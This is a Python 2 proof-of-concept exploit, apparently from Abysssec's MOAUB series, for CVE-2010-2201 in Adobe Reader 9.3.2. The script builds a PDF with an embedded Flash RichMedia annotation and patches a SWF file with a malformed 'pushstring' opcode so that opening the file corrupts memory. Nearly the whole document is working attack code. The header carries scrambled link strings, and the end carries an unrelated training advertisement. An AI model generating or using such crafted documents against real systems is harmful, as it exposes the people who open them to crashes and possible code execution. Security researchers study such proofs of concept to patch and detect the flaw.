__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
a62K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8X3#2G2j5i4g2T1x3e0u0Q4x3X3c8S2k6r3!0T1k6g2)9J5k6r3q4U0M7X3!0T1j5i4c8Q4x3X3c8S2L8X3c8Q4x3X3c8J5k6h3q4V1k6i4u0Q4x3X3c8H3N6i4y4Z5M7%4c8J5K9h3&6Y4i4K6u0V1L8h3g2E0L8%4u0&6i4K6u0V1j5$3!0J5M7Y4g2H3N6r3W2G2L8W2)9J5c8W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7
aceK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8Y4y4H3L8r3!0A6N6s2y4Q4x3V1k6E0L8$3q4#2j5W2)9J5k6o6p5J5i4K6u0V1k6i4S2H3L8r3!0A6N6q4)9J5k6i4A6A6M7q4)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7
'''
'''
Title : Adobe Acrobat and Reader "pushstring" Memory Corruption
Version : Adobe Reader 9.3.2
Analysis :
465K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4T1P5i4y4K6M7$3g2U0i4K6u0W2j5$3!0E0i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.
Vendor :
b42K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4V1L8$3u0W2i4K6u0W2j5$3!0E0i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.
Impact : Med/High
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2201
MOAUB Number : MOAUB-10
'''
import sys
class PDF:
def __init__(self):
self.xrefs = []
self.eol = '\x0a'
self.content = ''
self.xrefs_offset = 0
def header(self):
self.content += '%PDF-1.6' + self.eol
def obj(self, obj_num, data,flag):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
if flag == 1:
self.content += self.eol + '<< ' + data + ' >>' + self.eol
else:
self.content += self.eol + data + self.eol
self.content += 'endobj' + self.eol
def obj_SWFStream(self, obj_num, data, stream):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream))
self.content += ' >>' + self.eol
self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
self.content += 'endobj' + self.eol
def obj_Stream(self, obj_num, data, stream):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
self.content += self.eol + '<< ' + data + '/Length %d' %len(stream)
self.content += ' >>' + self.eol
self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
self.content += 'endobj' + self.eol
def ref(self, ref_num):
return '%d 0 R' % ref_num
def xref(self):
self.xrefs_offset = len(self.content)
self.content += 'xref' + self.eol
self.content += '0 %d' % (len(self.xrefs) + 1)
self.content += self.eol
self.content += '0000000000 65535 f' + self.eol
for i in self.xrefs:
self.content += '%010d 00000 n' % i
self.content += self.eol
def trailer(self):
self.content += 'trailer' + self.eol
self.content += '<< /Size %d' % (len(self.xrefs) + 1)
self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
self.content += 'startxref' + self.eol
self.content += '%d' % self.xrefs_offset
self.content += self.eol
self.content += '%%EOF'
def generate(self):
return self.content
class POC:
def getSWF(self):
try:
fdR = open('flash.swf', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:479]
command = '\x2C\xE8\x88\xF0\xFF\x33' #pushstring
str2 = strTotal[485:]
fdW= open('poc.swf', 'wb+')
finalStr = str1+command+str2
fdW.write(finalStr)
fdR.close()
return finalStr
except IOError:
print '
Error : An IO error has occurred'
def generate_pdf():
poc = POC()
swfFile = 'poc.swf'
pdf = PDF()
pdf.header()
pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1)
pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1)
pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1)
pdf.obj_Stream(4, '','')
pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1)
pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1)
pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1)
pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1)
pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1)
pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1)
pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1)
pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1)
pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1)
pdf.obj_SWFStream(14, ' /Type /EmbeddedFile ',poc.getSWF() )
pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1)
pdf.obj_Stream(16, '<</Length 0 >> ','')
pdf.xref()
pdf.trailer()
return pdf.generate()
def main():
if len(sys.argv) != 2:
print 'Usage: python %s [output file name]' % sys.argv[0]
sys.exit(0)
file_name = sys.argv[1]
if not file_name.endswith('.pdf'):
file_name = file_name + '.pdf'
try:
fd = open(file_name, 'wb+')
fd.write(generate_pdf())
fd.close()
print '[-] PDF file generated and written to %s' % file_name
except IOError:
print '
Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
[培训]科锐逆向工程师培训第53期2025年7月8日开班！
